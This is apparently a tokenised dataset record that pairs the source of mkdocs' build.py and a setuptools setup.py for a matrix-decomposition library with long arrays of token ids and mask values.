[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
fujita-shintaro/mkdocs
mkdocs/commands/build.py
21
9619
# coding: utf-8 from __future__ import unicode_literals from datetime import datetime import io import logging import os from jinja2.exceptions import TemplateNotFound import jinja2 import json from mkdocs import nav, search, utils from mkdocs.relative_path_ext import RelativePathExtension import mkdocs log = logging.getLogger(__name__) def convert_markdown(markdown_source, config, site_navigation=None): """ Convert the Markdown source file to HTML as per the config and site_navigation. Return a tuple of the HTML as a string, the parsed table of contents, and a dictionary of any metadata that was specified in the Markdown file. """ extensions = [ RelativePathExtension(site_navigation, config['strict']) ] + config['markdown_extensions'] return utils.convert_markdown( markdown_source=markdown_source, extensions=extensions, extension_configs=config['mdx_configs'] ) def get_global_context(nav, config): """ Given the SiteNavigation and config, generate the context which is relevant to app pages. """ site_name = config['site_name'] if config['site_favicon']: site_favicon = nav.url_context.make_relative('/' + config['site_favicon']) else: site_favicon = None page_description = config['site_description'] extra_javascript = utils.create_media_urls(nav, config['extra_javascript']) extra_css = utils.create_media_urls(nav, config['extra_css']) return { 'site_name': site_name, 'site_author': config['site_author'], 'favicon': site_favicon, 'page_description': page_description, # Note that there's intentionally repetition here. Rather than simply # provide the config dictionary we instead pass everything explicitly. # # This helps ensure that we can throughly document the context that # gets passed to themes. 'repo_url': config['repo_url'], 'repo_name': config['repo_name'], 'nav': nav, 'base_url': nav.url_context.make_relative('/'), 'homepage_url': nav.homepage.url, 'site_url': config['site_url'], 'extra_css': extra_css, 'extra_javascript': extra_javascript, 'include_nav': config['include_nav'], 'include_next_prev': config['include_next_prev'], 'copyright': config['copyright'], 'google_analytics': config['google_analytics'], 'mkdocs_version': mkdocs.__version__, 'build_date_utc': datetime.utcnow(), 'config': config } def get_page_context(page, content, toc, meta, config): """ Generate the page context by extending the global context and adding page specific variables. """ if page.is_homepage or page.title is None: page_title = None else: page_title = page.title if page.is_homepage: page_description = config['site_description'] else: page_description = None if config['site_url']: base = config['site_url'] if not base.endswith('/'): base += '/' canonical_url = utils.urljoin( base, page.abs_url.lstrip('/')) else: canonical_url = None return { 'page_title': page_title, 'page_description': page_description, 'content': content, 'toc': toc, 'meta': meta, 'canonical_url': canonical_url, 'current_page': page, 'previous_page': page.previous_page, 'next_page': page.next_page } def build_template(template_name, env, config, site_navigation=None): log.debug("Building template: %s", template_name) try: template = env.get_template(template_name) except TemplateNotFound: return False if site_navigation is not None: context = get_global_context(site_navigation, config) else: context = {} output_content = template.render(context) output_path = os.path.join(config['site_dir'], template_name) utils.write_file(output_content.encode('utf-8'), output_path) return True def _build_page(page, config, site_navigation, env, dump_json): # Read the input file input_path = os.path.join(config['docs_dir'], page.input_path) try: input_content = io.open(input_path, 'r', encoding='utf-8').read() except IOError: log.error('file not found: %s', input_path) raise # Process the markdown text html_content, table_of_contents, meta = convert_markdown( markdown_source=input_content, config=config, site_navigation=site_navigation ) context = get_global_context(site_navigation, config) context.update(get_page_context( page, html_content, table_of_contents, meta, config )) # Allow 'template:' override in md source files. if 'template' in meta: template = env.get_template(meta['template'][0]) else: template = env.get_template('base.html') # Render the template. output_content = template.render(context) # Write the output file. output_path = os.path.join(config['site_dir'], page.output_path) if dump_json: json_context = { 'content': context['content'], 'title': context['current_page'].title, 'url': context['current_page'].abs_url, 'language': 'en', } json_output = json.dumps(json_context, indent=4).encode('utf-8') utils.write_file(json_output, output_path.replace('.html', '.json')) else: utils.write_file(output_content.encode('utf-8'), output_path) return html_content, table_of_contents, meta def build_extra_templates(extra_templates, config, site_navigation=None): log.debug("Building extra_templates page") for extra_template in extra_templates: input_path = os.path.join(config['docs_dir'], extra_template) with io.open(input_path, 'r', encoding='utf-8') as template_file: template = jinja2.Template(template_file.read()) if site_navigation is not None: context = get_global_context(site_navigation, config) else: context = {} output_content = template.render(context) output_path = os.path.join(config['site_dir'], extra_template) utils.write_file(output_content.encode('utf-8'), output_path) def build_pages(config, dump_json=False): """ Builds all the pages and writes them into the build directory. """ site_navigation = nav.SiteNavigation(config['pages'], config['use_directory_urls']) loader = jinja2.FileSystemLoader(config['theme_dir'] + [config['mkdocs_templates'], ]) env = jinja2.Environment(loader=loader) search_index = search.SearchIndex() build_template('404.html', env, config, site_navigation) if not build_template('search.html', env, config, site_navigation): log.debug("Search is enabled but the theme doesn't contain a " "search.html file. Assuming the theme implements search " "within a modal.") build_template('sitemap.xml', env, config, site_navigation) build_extra_templates(config['extra_templates'], config, site_navigation) for page in site_navigation.walk_pages(): try: log.debug("Building page %s", page.input_path) build_result = _build_page(page, config, site_navigation, env, dump_json) html_content, table_of_contents, _ = build_result search_index.add_entry_from_context( page, html_content, table_of_contents) except Exception: log.error("Error building page %s", page.input_path) raise search_index = search_index.generate_search_index() json_output_path = os.path.join(config['site_dir'], 'mkdocs', 'search_index.json') utils.write_file(search_index.encode('utf-8'), json_output_path) def build(config, live_server=False, dump_json=False, clean_site_dir=False): """ Perform a full site build. """ if clean_site_dir: log.info("Cleaning site directory") utils.clean_directory(config['site_dir']) if not live_server: log.info("Building documentation to directory: %s", config['site_dir']) if not clean_site_dir and site_directory_contains_stale_files(config['site_dir']): log.info("The directory contains stale files. Use --clean to remove them.") if dump_json: build_pages(config, dump_json=True) return # Reversed as we want to take the media files from the builtin theme # and then from the custom theme_dir so the custom versions take take # precedence. for theme_dir in reversed(config['theme_dir']): log.debug("Copying static assets from theme: %s", theme_dir) utils.copy_media_files(theme_dir, config['site_dir']) log.debug("Copying static assets from the docs dir.") utils.copy_media_files(config['docs_dir'], config['site_dir']) log.debug("Building markdown pages.") build_pages(config) def site_directory_contains_stale_files(site_directory): """ Check if the site directory contains stale files from a previous build. Right now the check returns true if the directory is not empty. A more sophisticated approach should be found to trigger only if there are files that won't be overwritten anyway. """ if os.path.exists(site_directory): if os.listdir(site_directory): return True return False
bsd-2-clause
[ 3, 2803, 26, 2774, 13, 24, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 504, 2197, 492, 2197, 199, 646, 5890, 199, 646, 2050, 199, 646, 747, 199, 199, 504, 10321, 18, 14, 3924, 492, 5458, 4667, 199, 646, 10321, 18, 199, 646, 2022, 199, 199, 504, 9199, 4757, 492, 16681, 12, 2754, 12, 3778, 199, 504, 9199, 4757, 14, 6188, 63, 515, 63, 832, 492, 22419, 2042, 6382, 199, 646, 9199, 4757, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 318, 3957, 63, 15653, 8, 15653, 63, 1365, 12, 1101, 12, 4770, 63, 24148, 29, 403, 304, 272, 408, 272, 7905, 314, 24537, 1350, 570, 370, 4163, 465, 1126, 314, 1101, 436, 272, 4770, 63, 24148, 14, 1432, 282, 2008, 402, 314, 4163, 465, 282, 1059, 12, 314, 4565, 1817, 272, 402, 4072, 12, 436, 282, 2600, 402, 1263, 3341, 626, 1990, 2013, 315, 314, 272, 24537, 570, 14, 272, 408, 339, 5478, 275, 359, 267, 22419, 2042, 6382, 8, 2124, 63, 24148, 12, 1101, 459, 4768, 1105, 272, 1622, 435, 1101, 459, 15653, 63, 5359, 418, 339, 372, 3778, 14, 3916, 63, 15653, 8, 267, 18502, 63, 1365, 29, 15653, 63, 1365, 12, 267, 5478, 29, 5359, 12, 267, 3329, 63, 7532, 29, 888, 459, 1064, 88, 63, 7532, 418, 272, 776, 421, 199, 318, 664, 63, 2966, 63, 1100, 8, 10927, 12, 1101, 304, 272, 408, 272, 9138, 314, 11666, 19617, 5360, 436, 1101, 12, 3550, 314, 1067, 1314, 365, 12082, 272, 370, 1145, 6497, 14, 272, 408, 339, 4770, 63, 354, 275, 1101, 459, 2124, 63, 354, 418, 339, 340, 1101, 459, 2124, 63, 22229, 2565, 267, 4770, 63, 22229, 275, 16681, 14, 633, 63, 1100, 14, 1875, 63, 6188, 2336, 7, 435, 1101, 459, 2124, 63, 22229, 1105, 272, 587, 26, 267, 4770, 63, 22229, 275, 488, 339, 2034, 63, 1802, 275, 1101, 459, 2124, 63, 1802, 418, 339, 2402, 63, 9554, 275, 3778, 14, 981, 63, 4603, 63, 3603, 8, 10927, 12, 1101, 459, 2911, 63, 9554, 1105, 339, 2402, 63, 3919, 275, 3778, 14, 981, 63, 4603, 63, 3603, 8, 10927, 12, 1101, 459, 2911, 63, 3919, 1105, 339, 372, 469, 267, 283, 2124, 63, 354, 356, 4770, 63, 354, 12, 267, 283, 2124, 63, 2502, 356, 1101, 459, 2124, 63, 2502, 995, 267, 283, 22229, 356, 4770, 63, 22229, 12, 267, 283, 1606, 63, 1802, 356, 2034, 63, 1802, 12, 398, 327, 3390, 626, 2337, 1159, 32005, 6375, 3348, 2348, 14, 3898, 728, 2419, 9329, 267, 327, 5647, 314, 1101, 2600, 781, 3140, 986, 8137, 7662, 14, 267, 327, 267, 327, 961, 22577, 4868, 626, 781, 883, 4012, 590, 2213, 314, 1067, 626, 267, 327, 7545, 3032, 370, 17915, 14, 267, 283, 3417, 63, 633, 356, 1101, 459, 3417, 63, 633, 995, 267, 283, 3417, 63, 354, 356, 1101, 459, 3417, 63, 354, 995, 267, 283, 10927, 356, 16681, 12, 267, 283, 1095, 63, 633, 356, 16681, 14, 633, 63, 1100, 14, 1875, 63, 6188, 2336, 659, 267, 283, 25539, 63, 633, 356, 16681, 14, 25539, 14, 633, 12, 267, 283, 2124, 63, 633, 356, 1101, 459, 2124, 63, 633, 995, 398, 283, 2911, 63, 3919, 356, 2402, 63, 3919, 12, 267, 283, 2911, 63, 9554, 356, 2402, 63, 9554, 12, 398, 283, 2613, 63, 10927, 356, 1101, 459, 2613, 63, 10927, 995, 267, 283, 2613, 63, 2184, 63, 5701, 356, 1101, 459, 2613, 63, 2184, 63, 5701, 995, 398, 283, 7307, 356, 1101, 459, 7307, 995, 267, 283, 3098, 63, 20211, 356, 1101, 459, 3098, 63, 20211, 995, 398, 283, 3880, 4757, 63, 1023, 356, 9199, 4757, 855, 1023, 3108, 267, 283, 1506, 63, 602, 63, 5834, 356, 2197, 14, 10779, 1062, 398, 283, 888, 356, 1101, 272, 789, 421, 199, 318, 664, 63, 1606, 63, 1100, 8, 1606, 12, 1564, 12, 22021, 12, 3404, 12, 1101, 304, 272, 408, 272, 7958, 314, 2034, 1067, 701, 2178, 1098, 314, 2288, 1067, 436, 7791, 2034, 272, 2488, 2860, 14, 272, 408, 339, 340, 2034, 14, 374, 63, 25539, 503, 2034, 14, 1213, 365, 488, 26, 267, 2034, 63, 1213, 275, 488, 272, 587, 26, 267, 2034, 63, 1213, 275, 2034, 14, 1213, 339, 340, 2034, 14, 374, 63, 25539, 26, 267, 2034, 63, 1802, 275, 1101, 459, 2124, 63, 1802, 418, 272, 587, 26, 267, 2034, 63, 1802, 275, 488, 339, 340, 1101, 459, 2124, 63, 633, 2565, 267, 1300, 275, 1101, 459, 2124, 63, 633, 418, 267, 340, 440, 1300, 14, 4130, 18265, 288, 1300, 847, 7324, 267, 11358, 63, 633, 275, 3778, 14, 17755, 8, 288, 1300, 12, 2034, 14, 2101, 63, 633, 14, 10124, 28684, 272, 587, 26, 267, 11358, 63, 633, 275, 488, 339, 372, 469, 267, 283, 1606, 63, 1213, 356, 2034, 63, 1213, 12, 267, 283, 1606, 63, 1802, 356, 2034, 63, 1802, 12, 398, 283, 1317, 356, 1564, 12, 267, 283, 13255, 356, 22021, 12, 267, 283, 2024, 356, 3404, 12, 7318, 283, 13109, 63, 633, 356, 11358, 63, 633, 12, 398, 283, 1818, 63, 1606, 356, 2034, 12, 267, 283, 6352, 63, 1606, 356, 2034, 14, 6352, 63, 1606, 12, 267, 283, 2184, 63, 1606, 356, 2034, 14, 2184, 63, 1606, 272, 789, 421, 199, 318, 1900, 63, 1160, 8, 1160, 63, 354, 12, 2589, 12, 1101, 12, 4770, 63, 24148, 29, 403, 304, 339, 943, 14, 1757, 480, 16461, 1978, 26, 450, 83, 401, 1978, 63, 354, 9, 339, 862, 26, 267, 1978, 275, 2589, 14, 362, 63, 1160, 8, 1160, 63, 354, 9, 272, 871, 5458, 4667, 26, 267, 372, 756, 339, 340, 4770, 63, 24148, 365, 440, 488, 26, 267, 1067, 275, 664, 63, 2966, 63, 1100, 8, 2124, 63, 24148, 12, 1101, 9, 272, 587, 26, 267, 1067, 275, 1052, 339, 1072, 63, 1317, 275, 1978, 14, 3352, 8, 1100, 9, 272, 1072, 63, 515, 275, 747, 14, 515, 14, 904, 8, 888, 459, 2124, 63, 694, 995, 1978, 63, 354, 9, 272, 3778, 14, 952, 63, 493, 8, 1199, 63, 1317, 14, 2143, 360, 1624, 13, 24, 659, 1072, 63, 515, 9, 272, 372, 715, 421, 199, 318, 485, 1506, 63, 1606, 8, 1606, 12, 1101 ]
[ 2803, 26, 2774, 13, 24, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 504, 2197, 492, 2197, 199, 646, 5890, 199, 646, 2050, 199, 646, 747, 199, 199, 504, 10321, 18, 14, 3924, 492, 5458, 4667, 199, 646, 10321, 18, 199, 646, 2022, 199, 199, 504, 9199, 4757, 492, 16681, 12, 2754, 12, 3778, 199, 504, 9199, 4757, 14, 6188, 63, 515, 63, 832, 492, 22419, 2042, 6382, 199, 646, 9199, 4757, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 318, 3957, 63, 15653, 8, 15653, 63, 1365, 12, 1101, 12, 4770, 63, 24148, 29, 403, 304, 272, 408, 272, 7905, 314, 24537, 1350, 570, 370, 4163, 465, 1126, 314, 1101, 436, 272, 4770, 63, 24148, 14, 1432, 282, 2008, 402, 314, 4163, 465, 282, 1059, 12, 314, 4565, 1817, 272, 402, 4072, 12, 436, 282, 2600, 402, 1263, 3341, 626, 1990, 2013, 315, 314, 272, 24537, 570, 14, 272, 408, 339, 5478, 275, 359, 267, 22419, 2042, 6382, 8, 2124, 63, 24148, 12, 1101, 459, 4768, 1105, 272, 1622, 435, 1101, 459, 15653, 63, 5359, 418, 339, 372, 3778, 14, 3916, 63, 15653, 8, 267, 18502, 63, 1365, 29, 15653, 63, 1365, 12, 267, 5478, 29, 5359, 12, 267, 3329, 63, 7532, 29, 888, 459, 1064, 88, 63, 7532, 418, 272, 776, 421, 199, 318, 664, 63, 2966, 63, 1100, 8, 10927, 12, 1101, 304, 272, 408, 272, 9138, 314, 11666, 19617, 5360, 436, 1101, 12, 3550, 314, 1067, 1314, 365, 12082, 272, 370, 1145, 6497, 14, 272, 408, 339, 4770, 63, 354, 275, 1101, 459, 2124, 63, 354, 418, 339, 340, 1101, 459, 2124, 63, 22229, 2565, 267, 4770, 63, 22229, 275, 16681, 14, 633, 63, 1100, 14, 1875, 63, 6188, 2336, 7, 435, 1101, 459, 2124, 63, 22229, 1105, 272, 587, 26, 267, 4770, 63, 22229, 275, 488, 339, 2034, 63, 1802, 275, 1101, 459, 2124, 63, 1802, 418, 339, 2402, 63, 9554, 275, 3778, 14, 981, 63, 4603, 63, 3603, 8, 10927, 12, 1101, 459, 2911, 63, 9554, 1105, 339, 2402, 63, 3919, 275, 3778, 14, 981, 63, 4603, 63, 3603, 8, 10927, 12, 1101, 459, 2911, 63, 3919, 1105, 339, 372, 469, 267, 283, 2124, 63, 354, 356, 4770, 63, 354, 12, 267, 283, 2124, 63, 2502, 356, 1101, 459, 2124, 63, 2502, 995, 267, 283, 22229, 356, 4770, 63, 22229, 12, 267, 283, 1606, 63, 1802, 356, 2034, 63, 1802, 12, 398, 327, 3390, 626, 2337, 1159, 32005, 6375, 3348, 2348, 14, 3898, 728, 2419, 9329, 267, 327, 5647, 314, 1101, 2600, 781, 3140, 986, 8137, 7662, 14, 267, 327, 267, 327, 961, 22577, 4868, 626, 781, 883, 4012, 590, 2213, 314, 1067, 626, 267, 327, 7545, 3032, 370, 17915, 14, 267, 283, 3417, 63, 633, 356, 1101, 459, 3417, 63, 633, 995, 267, 283, 3417, 63, 354, 356, 1101, 459, 3417, 63, 354, 995, 267, 283, 10927, 356, 16681, 12, 267, 283, 1095, 63, 633, 356, 16681, 14, 633, 63, 1100, 14, 1875, 63, 6188, 2336, 659, 267, 283, 25539, 63, 633, 356, 16681, 14, 25539, 14, 633, 12, 267, 283, 2124, 63, 633, 356, 1101, 459, 2124, 63, 633, 995, 398, 283, 2911, 63, 3919, 356, 2402, 63, 3919, 12, 267, 283, 2911, 63, 9554, 356, 2402, 63, 9554, 12, 398, 283, 2613, 63, 10927, 356, 1101, 459, 2613, 63, 10927, 995, 267, 283, 2613, 63, 2184, 63, 5701, 356, 1101, 459, 2613, 63, 2184, 63, 5701, 995, 398, 283, 7307, 356, 1101, 459, 7307, 995, 267, 283, 3098, 63, 20211, 356, 1101, 459, 3098, 63, 20211, 995, 398, 283, 3880, 4757, 63, 1023, 356, 9199, 4757, 855, 1023, 3108, 267, 283, 1506, 63, 602, 63, 5834, 356, 2197, 14, 10779, 1062, 398, 283, 888, 356, 1101, 272, 789, 421, 199, 318, 664, 63, 1606, 63, 1100, 8, 1606, 12, 1564, 12, 22021, 12, 3404, 12, 1101, 304, 272, 408, 272, 7958, 314, 2034, 1067, 701, 2178, 1098, 314, 2288, 1067, 436, 7791, 2034, 272, 2488, 2860, 14, 272, 408, 339, 340, 2034, 14, 374, 63, 25539, 503, 2034, 14, 1213, 365, 488, 26, 267, 2034, 63, 1213, 275, 488, 272, 587, 26, 267, 2034, 63, 1213, 275, 2034, 14, 1213, 339, 340, 2034, 14, 374, 63, 25539, 26, 267, 2034, 63, 1802, 275, 1101, 459, 2124, 63, 1802, 418, 272, 587, 26, 267, 2034, 63, 1802, 275, 488, 339, 340, 1101, 459, 2124, 63, 633, 2565, 267, 1300, 275, 1101, 459, 2124, 63, 633, 418, 267, 340, 440, 1300, 14, 4130, 18265, 288, 1300, 847, 7324, 267, 11358, 63, 633, 275, 3778, 14, 17755, 8, 288, 1300, 12, 2034, 14, 2101, 63, 633, 14, 10124, 28684, 272, 587, 26, 267, 11358, 63, 633, 275, 488, 339, 372, 469, 267, 283, 1606, 63, 1213, 356, 2034, 63, 1213, 12, 267, 283, 1606, 63, 1802, 356, 2034, 63, 1802, 12, 398, 283, 1317, 356, 1564, 12, 267, 283, 13255, 356, 22021, 12, 267, 283, 2024, 356, 3404, 12, 7318, 283, 13109, 63, 633, 356, 11358, 63, 633, 12, 398, 283, 1818, 63, 1606, 356, 2034, 12, 267, 283, 6352, 63, 1606, 356, 2034, 14, 6352, 63, 1606, 12, 267, 283, 2184, 63, 1606, 356, 2034, 14, 2184, 63, 1606, 272, 789, 421, 199, 318, 1900, 63, 1160, 8, 1160, 63, 354, 12, 2589, 12, 1101, 12, 4770, 63, 24148, 29, 403, 304, 339, 943, 14, 1757, 480, 16461, 1978, 26, 450, 83, 401, 1978, 63, 354, 9, 339, 862, 26, 267, 1978, 275, 2589, 14, 362, 63, 1160, 8, 1160, 63, 354, 9, 272, 871, 5458, 4667, 26, 267, 372, 756, 339, 340, 4770, 63, 24148, 365, 440, 488, 26, 267, 1067, 275, 664, 63, 2966, 63, 1100, 8, 2124, 63, 24148, 12, 1101, 9, 272, 587, 26, 267, 1067, 275, 1052, 339, 1072, 63, 1317, 275, 1978, 14, 3352, 8, 1100, 9, 272, 1072, 63, 515, 275, 747, 14, 515, 14, 904, 8, 888, 459, 2124, 63, 694, 995, 1978, 63, 354, 9, 272, 3778, 14, 952, 63, 493, 8, 1199, 63, 1317, 14, 2143, 360, 1624, 13, 24, 659, 1072, 63, 515, 9, 272, 372, 715, 421, 199, 318, 485, 1506, 63, 1606, 8, 1606, 12, 1101, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jor-/matrix-decomposition
setup.py
1
2841
# Copyright (C) 2017-2018 Joscha Reimer jor@informatik.uni-kiel.de # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. """A setuptools based setup module. https://packaging.python.org/en/latest/distributing.html """ import setuptools import os.path import versioneer_extended # Get the long description from the README file readme_file = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'README.rst') with open(readme_file, mode='r', encoding='utf-8') as f: long_description = f.read() # Setup setuptools.setup( # general informations name='matrix-decomposition', description='This library allows to approximate Hermitian (dense and sparse) matrices by positive definite matrices. Furthermore it allows to decompose (factorize) positive definite matrices and solve associated systems of linear equations.', long_description=long_description, keywords='approximation Hermitian dense sparse matrix matrices positive definite decompose factorize decomposition factorization linear equation equations Cholesky', url='https://github.com/jor-/matrix_decomposition', author='Joscha Reimer', author_email='jor@informatik.uni-kiel.de', license='AGPL', classifiers=[ # Development Status 'Development Status :: 5 - Production/Stable', # Intended Audience, Topic 'Intended Audience :: Science/Research', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Software Development :: Libraries :: Python Modules', 'Topic :: Utilities', # Licence (should match "license" above) 'License :: OSI Approved :: GNU Affero General Public License v3 or later (AGPLv3+)', # Supported Python versions 'Programming Language :: Python', ], # version version=versioneer_extended.get_version(), cmdclass=versioneer_extended.get_cmdclass(), # packages to install packages=setuptools.find_packages(), # dependencies python_requires='>=3.7', setup_requires=[ 'setuptools>=0.8', 'pip>=1.4', ], install_requires=[ 'numpy>=1.15', 'scipy>=0.19', ], extras_require={ 'decompose_sparse': ['scikit-sparse>=0.4.2'], }, )
agpl-3.0
[ 3, 1898, 334, 35, 9, 9708, 13, 12682, 1603, 736, 9518, 799, 6267, 1335, 269, 32, 262, 10928, 30298, 14, 5411, 13, 8810, 352, 14, 271, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 624, 33, 9116, 4079, 3272, 859, 14, 199, 2859, 921, 27796, 14, 1548, 14, 1308, 15, 287, 15, 7410, 15, 20231, 4655, 14, 1360, 199, 624, 199, 199, 646, 9116, 199, 646, 747, 14, 515, 199, 199, 646, 809, 19106, 63, 10525, 199, 199, 3, 2372, 314, 1846, 1369, 687, 314, 27781, 570, 199, 32709, 63, 493, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 4832, 8, 736, 14, 515, 14, 3475, 3460, 493, 22159, 283, 18195, 14, 8332, 358, 199, 1045, 1551, 8, 32709, 63, 493, 12, 818, 534, 82, 297, 2644, 534, 1624, 13, 24, 358, 465, 289, 26, 272, 1846, 63, 1802, 275, 289, 14, 739, 342, 199, 199, 3, 12439, 199, 13623, 14, 2758, 8, 272, 327, 8605, 315, 17308, 272, 536, 534, 3642, 13, 31384, 297, 272, 1369, 534, 2765, 3555, 6127, 370, 19917, 18769, 26649, 334, 7253, 436, 5178, 9, 12627, 701, 7317, 28088, 12627, 14, 28876, 6878, 652, 6127, 370, 477, 12607, 334, 4778, 794, 9, 7317, 28088, 12627, 436, 14241, 4568, 10460, 402, 7798, 26426, 3130, 272, 1846, 63, 1802, 29, 2809, 63, 1802, 12, 272, 7681, 534, 11227, 20030, 18769, 26649, 9363, 5178, 3634, 12627, 7317, 28088, 477, 12607, 6535, 794, 22706, 6535, 2072, 7798, 18649, 26426, 8802, 19881, 297, 339, 1166, 534, 2859, 921, 5031, 14, 957, 15, 5857, 13, 15, 3642, 63, 31384, 297, 272, 4132, 534, 42, 736, 9518, 799, 6267, 297, 272, 4132, 63, 2123, 534, 5857, 32, 262, 10928, 30298, 14, 5411, 13, 8810, 352, 14, 271, 297, 272, 4190, 534, 1254, 2749, 297, 339, 19137, 1524, 267, 327, 15290, 9795, 267, 283, 23753, 9795, 3800, 959, 446, 24114, 15, 933, 461, 297, 267, 327, 1010, 6943, 23975, 12, 32166, 267, 283, 23910, 23975, 3800, 27491, 15, 497, 1733, 297, 267, 283, 12157, 3800, 16578, 23509, 15, 8524, 15663, 3800, 16593, 1589, 3889, 83, 297, 267, 283, 12157, 3800, 2290, 15290, 3800, 31454, 3800, 2018, 18167, 297, 267, 283, 12157, 3800, 738, 17933, 297, 267, 327, 491, 530, 4894, 334, 5626, 1336, 298, 1682, 2, 3432, 9, 267, 283, 3761, 3800, 25718, 26330, 3800, 1664, 4265, 1696, 1684, 844, 373, 19, 503, 2945, 334, 1254, 2749, 86, 19, 14705, 267, 327, 26167, 2018, 5459, 267, 283, 11411, 8466, 3800, 2018, 297, 272, 2156, 339, 327, 1015, 272, 1015, 29, 27550, 63, 10525, 14, 362, 63, 1023, 1062, 272, 2088, 533, 29, 27550, 63, 10525, 14, 362, 63, 1760, 533, 1062, 339, 327, 6117, 370, 3907, 272, 6117, 29, 13623, 14, 1623, 63, 5154, 1062, 339, 327, 5124, 272, 2366, 63, 6537, 534, 8119, 